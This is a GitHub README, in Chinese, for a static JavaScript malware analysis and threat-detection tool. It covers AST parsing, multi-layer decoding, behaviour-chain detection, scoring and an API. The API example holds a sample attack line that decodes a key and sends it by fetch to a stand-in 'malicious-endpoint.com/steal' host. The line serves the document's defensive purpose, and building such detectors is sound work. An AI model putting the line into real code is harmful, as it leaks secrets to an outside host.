abhiyanpa/js-malware-analyzer

GitHub: abhiyanpa/js-malware-analyzer

一款针对 JavaScript 的高性能静态分析与威胁检测引擎,通过 AST 解析、多层反混淆和行为链融合在代码执行前揭示恶意行为。

Stars: 0 | Forks: 0

# 🛡️ JavaScript 恶意软件分析器 [![Next.js](https://img.shields.io/badge/Next.js-16.2-blueviolet?style=flat-square&logo=nextdotjs)](https://nextjs.org/) [![React](https://img.shields.io/badge/React-19.0-blue?style=flat-square&logo=react)](https://react.dev/) [![Tailwind CSS](https://img.shields.io/badge/Tailwind_CSS-4.0-38B2AC?style=flat-square&logo=tailwindcss)](https://tailwindcss.com/) [![Gemini](https://img.shields.io/badge/Gemini_AI-1.5_Flash-orange?style=flat-square&logo=google)](https://deepmind.google/technologies/gemini/) [![License](https://img.shields.io/badge/License-MIT-green?style=flat-square)](LICENSE) 一款专为 JavaScript 设计的高性能静态分析与威胁检测引擎。通过结合深度的 AST 结构解析、签名模式匹配、熵值计算以及自动化的多层反混淆引擎,它能够在代码执行前揭示隐藏的行为、规避套件和数据泄露通道。 ## ✨ 核心功能 ### 🔍 静态分析与威胁扫描 - **签名与模式匹配**:使用精心整理的正则表达式签名库对脚本进行扫描,涵盖已知的混淆、重定向、剪贴板篡改、加密挖矿程序和数据抓取行为。 - **AST 结构解析**:使用 `acorn` 将代码解析为抽象语法树 (AST) 以执行结构分析(例如,检测自定义 VM 执行循环、调度器 switch 和不透明谓词)。 - **熵与 Payload 检查**:测量字符频率和代码块熵值,以识别加密字符串、打包的二进制文件和高熵值的 payload。 ### 🔓 自动化多层解码器 - **分层解码**:递归解包嵌套编码,包括 Base64 (`atob`/`btoa`)、十六进制序列 (`\xHH`)、Unicode 转义 (`\uHHHH`)、URL 百分号编码以及动态字符码 (`String.fromCharCode`)。 - **上下文保留**:精确定位每个编码字符串被提取和解码的确切行号及代码上下文。 ### ⛓️ 行为威胁链融合 引擎并非仅仅标记孤立的特性,而是将多种行为关联起来以还原真实意图。它会自动识别: 1. **编码 Payload 执行**:Base64/Hex 解码后紧跟动态接收器 (`eval`, `new Function`)。 2. **潜在的数据泄露**:读取敏感存储(cookies、`localStorage`)后紧跟外部连接 (`fetch`、webhook)。 3. **反分析规避套件**:同时检测 VM/沙箱特征(例如无头浏览器)以及调试器检查。 4. **混淆的网络通信**:隐藏的 API 调用或动态属性访问与数据外传行为相伴随。 ### ⚖️ 校准评分与规避防御 - **收益递减曲线**:通过对同一类别中的后续得分进行动态衰减,避免“分数饱和”(即仅因包含少量 API 使用的良性脚本就达到 100/100 分)。 - **污点感知评分器**:区分读取良性设置(主题、区域设置)与窃取凭据(token、API 密钥)的行为。 - **教育性标记校准**:当存在安全的教育性标记(例如 `[SIM]`、`ctf{`、沙箱演示)时,自动降低威胁严重程度。 ### 💻 开发者体验与控制台 - **玻璃拟物化 UI**:精美的仪表盘, featuring 通过 Chart.js 生成的自定义图表,可视化展示威胁类别和评分明细。 - **Monaco 代码编辑器**:完全集成的代码编辑器,支持粘贴、编辑和上传 JavaScript 代码。 - **详细的执行时间线**:按时间顺序可视化关键事件和分支执行 (CFG 分析)。 - **PDF 报告导出**:生成结构化、可供下载的 PDF 安全审计报告。 ## 🛠️ 架构与核心引擎 ``` graph TD Code[JS Input Code] --> PM[Pattern Matcher] Code --> AST[Acorn AST Parser] Code --> ET[Entropy Calculator] PM -->|Raw Signatures| TS[Threat Scorer] ET -->|High Entropy Blocks| TS AST -->|AST Walk / CFG| AST_Anal[AST Analyzer] AST_Anal -->|Opaque Predicates, VMs, Evasive Gates| TS Code -->|Extract Encoded| Dec[Decoder Engine] Dec -->|Unpack Base64/Hex/Unicode/CharCodes| DecRec{Multi-Layer?} DecRec -->|Yes| Dec DecRec -->|No| Decrypted[Decoded Payloads] Decrypted --> TS TS -->|Calibration & Decays| Score[Threat Score & Risk Category] Score --> Fusion[Behavioral Chain Fusion] Fusion --> UI[Interactive Report & Dashboard] Fusion --> AI[Gemini Threat Explainer API] ``` - **[编排器](src/lib/analyzer/index.js)**:编排分析 pipeline。 - **[AST 解析器](src/lib/analyzer/astAnalyzer.js)**:解析并追踪控制流分支、VM 风格的执行循环以及数据污点。 - **[模式匹配器](src/lib/analyzer/patternMatcher.js)**:签名规则的定义与评估。 - **[反混淆器](src/lib/analyzer/decoder.js)**:递归处理字符串解码。 - **[评分器](src/lib/analyzer/threatScorer.js)**:映射权重、校准和衰减。 ## 🚀 快速开始 ### 前置条件 - **Node.js** (v18.x 或更高版本) - **npm**, **yarn**, 或 **pnpm** ### 安装说明 1. 克隆代码仓库: git clone https://github.com/abhiyanpa/js-malware-analyzer.git cd js-malware-analyzer 2. 安装依赖项: npm install 3. 设置环境变量: 在根目录下创建一个 `.env.local` 文件: GEMINI_API_KEY=your_gemini_api_key_here *(注意:只有在存在有效的 Gemini 密钥时,才会动态启用 AI 洞察卡片)。* ### 运行应用 启动开发服务器: ``` npm run dev ``` 在浏览器中打开 [http://localhost:3000](http://localhost:3000) 以查看应用程序。 若要构建生产版本: ``` npm run build npm run start ``` ## 🔌 API 参考 该分析器提供了一个独立的 API endpoint,用于以编程方式扫描脚本。 ### `POST /api/analyze` 接收原始 JavaScript 代码或文件,并返回详尽的威胁分析明细。 #### 请求头 - `Content-Type: application/json` 或 `multipart/form-data` #### 请求体 (JSON) ``` { "code": "const key = atob('c2VjcmV0LWtleQ=='); fetch('https://malicious-endpoint.com/steal?data=' + key);" } ``` #### 响应示例 ``` { "id": "analysis-kbbx5l4u-4b72j8", "timestamp": "2026-06-05T21:28:56.000Z", "analysisTime": "24ms", "threatScore": 72, "threatLevel": "HIGH", "threatLabel": "High Risk", "confidence": 85, "summary": "Suspicious structural and behavioral indicators detected. May contain hidden payloads.", "aiInsight": "This script decodes a Base64 string to retrieve a key and immediately makes an outbound network call to transmit it to an external server. This exhibits typical data harvesting behavior.", "detections": [ { "id": "exfil-fetch", "name": "Outbound Fetch Request", "category": "exfiltration", "severity": "high", "score": 20 } ], "behavioralChains": [ { "name": "Encoded Payload Execution", "severity": "critical", "flow": ["Encoded payload detected", "Payload decoded", "Dynamic execution attempt"] } ], "astFindings": { "success": true, "totalNodes": 128, "maxDepth": 12, "complexity": 5 } } ``` ## 🛡️ 许可证 本项目是开源的,基于 [MIT License](LICENSE) 提供。
标签:CMS安全, DNS 反向解析, JavaScript, 云安全监控, 威胁情报, 开发者工具, 自定义脚本, 静态分析